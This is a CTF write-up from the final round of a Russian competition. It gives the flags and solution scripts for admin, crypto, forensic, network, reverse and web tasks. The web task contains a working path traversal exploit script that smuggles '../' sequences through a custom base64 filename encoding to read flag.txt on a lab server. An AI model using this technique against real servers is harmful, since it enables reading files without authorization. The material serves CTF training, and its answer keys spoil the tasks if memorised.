# ООУИ 21/22. Финал. Первый тур [TOC] ## Admin ### Tartar #### Балл: 1 #### Условие: `tar -pzf data.tar.gz` #### Ответ: CTF{JuST_p3rM1s510ns_s4lt_5Alt_salt_5alt_s4lT_saLt_Salt_saL} #### Решение В архиве содержится файловая система. После распаковки в домашней папке юзера находим много пустых файлов. Нужно отсортировать их по дате создания (по возрастанию) с помощью `ls -l -tr`, после собрать все разрешения на файлах, переконвертировать в восьмиричный вид и затем в десятичный, который будет являтся ascii символами флага ```python= import random def random_string(n): r = '' alpha = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890=_+!#$%^*()' for _ in range(n): r += alpha[random.randint(0, len(alpha)-1)] return r flag = 'CTF{JuST_p3rM1s510ns_s4lt_5Alt_salt_5alt_s4lT_saLt_Salt_saL}' flag_d = [oct(ord(i))[2:] for i in flag] print(flag_d) files = [] for i in range(len(flag_d)): files.append(random_string(random.randint(10, 20))) for i in range(len(files)): f = files[i] p = flag_d[i] print(f'touch \'{f}\'; sleep 2; chmod {p} \'{f}\';') ``` ## Crypto ### Stupid cypher #### Балл: 1 #### Условие: This piece of code is used in crypto ransomware. Can you write a decryptor? ```python import base64 def encrypt(data, secret1, secret2, secret3): enc = b'' for i in data: enc += bytes([((i ^ secret1) + secret3) % 256]) for i in range(secret2): enc = base64.b64encode(enc) with open('flag.enc', 'w') as f: f.write(enc.decode()) if __name__ == '__main__': encrypt(b'CTF{...}', ..., ..., ...) ``` #### Ответ: CTF{b453_64_4G4In_4nD_4G4In_31337} #### Решение: ```python import base64 a = open('flag.enc', 'r').read() for i in range(256): try: a = base64.b64decode(a).decode() except: print(f'[+] secret2 = {i+1}') break a = base64.b64decode(a) for i in range(256): for j in range(256): dec = b'' for c in a: dec += bytes([((c - j) ^ i)%256]) if b'CTF{' in dec: print(f'[+] secret1 = {i}') print(f'[+] secret3 = {j}') print(f'[+] FLAG: {dec}') ``` ## Forensic ### Inno Images #### Балл: 1 #### Условие: Find something that hidden. #### Ответ: CTF{to0_m4NY_fI135__3xiF_4rTi5T} #### Решение: 0) Mount image. 1) Take hashsum of all files and find one that differ: ``` md5sum */* | cut -d" " -f1 | sort -u ``` 2) Find one file that hashsum: ``` md5sum */* | grep a1ada8e40cfeec0b7e992b2309859eb2 ``` 3) Check exif of that file and findout that the flag is base64 encoded in the Artist attribute. ``` echo 'Q1RGe3RvMF9tNE5ZX2ZJMTM1X18zeGlGXzRyVGk1VH0K' | base64 -d ``` ## Network ### Tunnel #### Балл: 1 #### Условие: One of our servers has been hacked. Help us identify what was stolen. #### Ответ: CTF{iCmP_tUnN3l_c00L__1337} #### Решение: There are ICMP tunnel. By analyzing traffic we can find this string: ``` H4sIAAAAAAAAA3MOcavOdM4NiC8JzfMzzolPNjDwiY83NDY2r+UCABbSdfscAAAA ``` To get the flag, decode base64 and ungzip it: ``` echo 'H4sIAAAAAAAAA3MOcavOdM4NiC8JzfMzzolPNjDwiY83NDY2r+UCABbSdfscAAAA' | base64 -d | gzip -d ``` ## PPC ### Robot #### Балл: 1 #### Условие: Все внутри. #### Ответ: CTF{Sup3r_S3cR3t_fl4g_iS_n0t_foR_R0bots} #### Решение: ```python import gzip import socket import re ip = '192.168.1.1' port = 31337 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) print(sock.recv(1024).decode()) code = sock.recv(1024).decode() print(code) code = str(re.search(r'CONFIRM-\d{7}', code)[0]).encode() print(code) counter = 0 while True: sock.send(code + b'\n') print(sock.recv(1024).decode()) data = sock.recv(1024) print(data) code = gzip.decompress(data) print(code) print(sock.recv(1024).decode()) print(counter) counter += 1 ``` ## Reverse ### Converter #### Балл: 1 #### Условие: Мы нашли систему, которая работает только с данными в особом виде. Также к ней прилагался этот бинарник... #### Ответ: CTF{4bc726a1f419df1a0786daec3020670a} #### Решение: Используем objdump, readelf, radare2 и т.д. ``` enc = [208, 6, 48, 241, 56, 18, 84, 16, 20, 81, 32, 114, 87, 37, 39, 162, 127, 2, 117, 39, 98, 67, 180, 91, 112, 114, 55, 83, 80, 48, 19, 49, 83, 69, 52, 38, 182] prev = 228 def antirot8(x, y): return (((x << y) & 0xff) | ((x >> (8-y)) & 0xff)) & 0xff flag = '' for i in enc: val = i ^ prev val = antirot8(val, 7) val = antirot8(val, 7) val = antirot8(val, 7) val = antirot8(val, 3) val = antirot8(val, 3) val = antirot8(val, 1) flag += chr(val) prev = val print(flag) ``` ## Web ### Griby #### Балл: 1 #### Условие: Есть один сайт, посвященный грибам. Советуем глянуть его, в корне явно что-то скрывается #### Ответ: CTF{b45e64_dot_d07_sl45h_S3cUR3} #### Решение: 1. Изучаем исходники, видим загрузку файлов в `/get_mashroom?m=<filename>`, но файлы сохраняются и читаются на сервере под именем `base64(filename)` 2. Смотрим реализацию base64, видим, что для кодирования используется похожий алфавит на тот, который используется в unix функции `crypt()`. В нем присутствуют точка и слеш (`.`, `/`), поэтому можно отправить в качестве имени такие байты, чтобы при кодировке в base64 получился Path Traversal (`../../../../../flag.txt`). Единственная проблема - если длина сообщения в байтах не делится на 3, то оно дополняется `=`. Чтобы этого избежать, можно добавить `./` в начале пути, если длина не подходит 3. Пишем скрипт для конвертации, отправляем payload в `/get_mashroom?m=<payload>`, получаем флаг ```python #!/usr/bin/env python3 import requests alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./" url = 'http://0.0.0.0:8000/get_mashroom?m=' data = '../../../../../../../../flag.txt' while len(data) % 3 != 0: data = './' + data def base64_decode_without_padding(s): alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./" b = '' for i in s: b += bin(alphabet.index(i))[2:].zfill(6) b = ((8 - (len(b) % 8)) % 8) * '0' + b return bytes([int(b[i:i+8], 2) for i in range(0, len(b), 8)]) encoded = base64_decode_without_padding(data) urlencoded = ''.join(['0x' + hex(i)[2:].zfill(2) for i in encoded]).replace('0x', '%') answer = requests.get(url+urlencoded).text print(answer) ```